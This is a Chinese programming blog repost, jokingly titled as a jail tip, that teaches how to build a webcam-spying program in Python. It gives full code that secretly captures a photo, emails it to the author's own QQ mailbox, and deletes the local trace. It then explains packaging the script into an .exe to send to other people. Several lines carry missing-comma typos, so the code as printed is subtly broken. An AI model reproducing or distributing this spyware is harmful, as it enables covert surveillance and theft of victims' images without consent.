Py学习  »  Python

入狱小技巧:Python编写窃取摄像头照片程序

Python编程时光 • 2 年前 • 228 次点击  

来源:http://nxw.so/5nIWK  作者: Henrik-Yao


教你用python做一个属于自己的窃取摄像头照片的软件。

需要安装python3.5以上版本,在官网下载即可。

然后安装库opencv-python,安装方式为打开终端输入命令行。

可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple,这样就会从清华这边的镜像去安装需要的库,会快很多。

$ pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/

具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦。

import os                                       # 删除文件
import cv2                                      # 调用摄像头拍摄照片
from smtplib import SMTP_SSL                    # SSL加密的   传输协议
from email.mime.text import MIMEText            # 构建邮件文本
from email.mime.multipart import MIMEMultipart  # 构建邮件体
from email.header import Header                 # 发送内容


# 调用摄像头拍摄照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 开启摄像头
    f, frame = cap.read()               # 将摄像头中的一帧数据保存
    cv2.imwrite('image.jpg', frame)     # 将保存为本地文件
    cap.release()                       # 关闭摄像头


# 把文件发送到我的邮箱
def send_message():
    # 选择QQ邮箱发送照片
    host_server = 'smtp.qq.com'         # QQ邮箱smtp服务器
    pwd = '****************'            # 授权码
    from_qq_mail = 'QQ@qq.com'          # 发件人
    to_qq_mail = 'QQ@qq.com'            # 收件人
    msg = MIMEMultipart()               # 创建一封带附件的邮件

    msg['Subject'] = Header('摄像头照片''UTF-8')    # 消息主题
    msg['From'] = from_qq_mail                       # 发件人
    msg['To'] = Header("YH"'UTF-8')                # 收件人
    msg.attach(MIMEText("照片"'html''UTF-8'))    # 添加邮件文本信息

    # 加载附件到邮箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg''rb').read(), 'base64''utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式为的加密数据
    msg.attach(image)                      # 附件添加

    # 开始发送邮件
    smtp = SMTP_SSL(host_server)           # 链接服务器
    smtp .login(from_qq_mail, pwd)         # 登录邮箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 发送邮箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 开启摄像头获取照片
    send_message()              # 发送照片
    os.remove('image.jpg')      # 删除本地照片

获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。





打包方法:

  • 先安装pyinstaller,在终端中输入pip install pyinstaller即可。

  • 找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。



打包,输入命令行


pyinstaller --console --onefile 7.py  //这里打包的是一个叫7.py的文件。

在dist文件夹里面即可找到可执行文件。


最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。





推荐阅读  点击标题可跳转
教你用 PyCharm 搭建一劳永逸的开发环境
15 个让新手爱不释手的 Python 高级库
神奇的一行代码,让 Python 轻松跑赢 C++
阿里开源的 Python 自动化工具,太好用了
Celery 从入门到进阶,这一篇别错过了
如果对你有帮助。
请不吝点赞,点在看,谢谢。
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/111422
 
228 次点击